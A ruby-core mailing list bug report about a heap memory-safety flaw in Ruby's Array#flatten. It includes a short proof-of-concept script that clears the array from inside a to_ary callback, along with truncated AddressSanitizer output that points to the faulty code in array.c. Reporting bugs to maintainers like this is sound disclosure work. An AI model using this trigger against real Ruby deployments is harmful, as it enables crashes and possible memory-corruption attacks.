From: "danielchong (Daniel Chong) via ruby-core" <ruby-core@...>
Date: 2026-09-15T15:32:04+00:00
Subject: [ruby-core:126730] [Ruby Bug#22318] heap uaf triggered in array.flatten

Issue #22318 has been reported by danielchong (Daniel Chong).

----------------------------------------
Bug #22318: heap uaf triggered in array.flatten
https://bugs.ruby-lang.org/issues/22318

* Author: danielchong (Daniel Chong)
* Status: Open
* ruby -v: 4.1.0dev
* Backport: 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN
----------------------------------------
Hello, there seems to be a bug in Array's flatten function.

PoC:
```
a = (1..2000).to_a
bad = Object.new
$a = a
def bad.to_ary; $a.clear; [1,2,3]; end
a << bad       
a.flatten
```

ASAN output (truncated):
```
7==ERROR: AddressSanitizer: heap-buffer-overflow ...
READ of size 16000 ... thread T0
    #3 ary_memcpy0  array.c:354
    #4 ary_memcpy   array.c:371
    #5 flatten       array.c:6715            <-- USE (stale count i)
    #6 rb_ary_flatten array.c:6924
0x... is located 0 bytes after 256-byte region [...]
allocated by thread T0 here:
    #4 ary_heap_realloc  array.c:396
    #5 ary_resize_capa   array.c:439
    #6 rb_ary_clear      array.c:4988         <-- SHRINK (via to_ary)
    ...
    #18 convert_type_with_id       object.c:3303
    #21 rb_check_array_type        array.c:1032
    #22 flatten                    array.c:6705  <-- reentrant conversion
```



-- 
https://bugs.ruby-lang.org/
______________________________________________
 ruby-core mailing list -- ruby-core@ml.ruby-lang.org
 To unsubscribe send an email to ruby-core-leave@ml.ruby-lang.org
 ruby-core info -- https://ml.ruby-lang.org/mailman3/lists/ruby-core.ml.ruby-lang.org/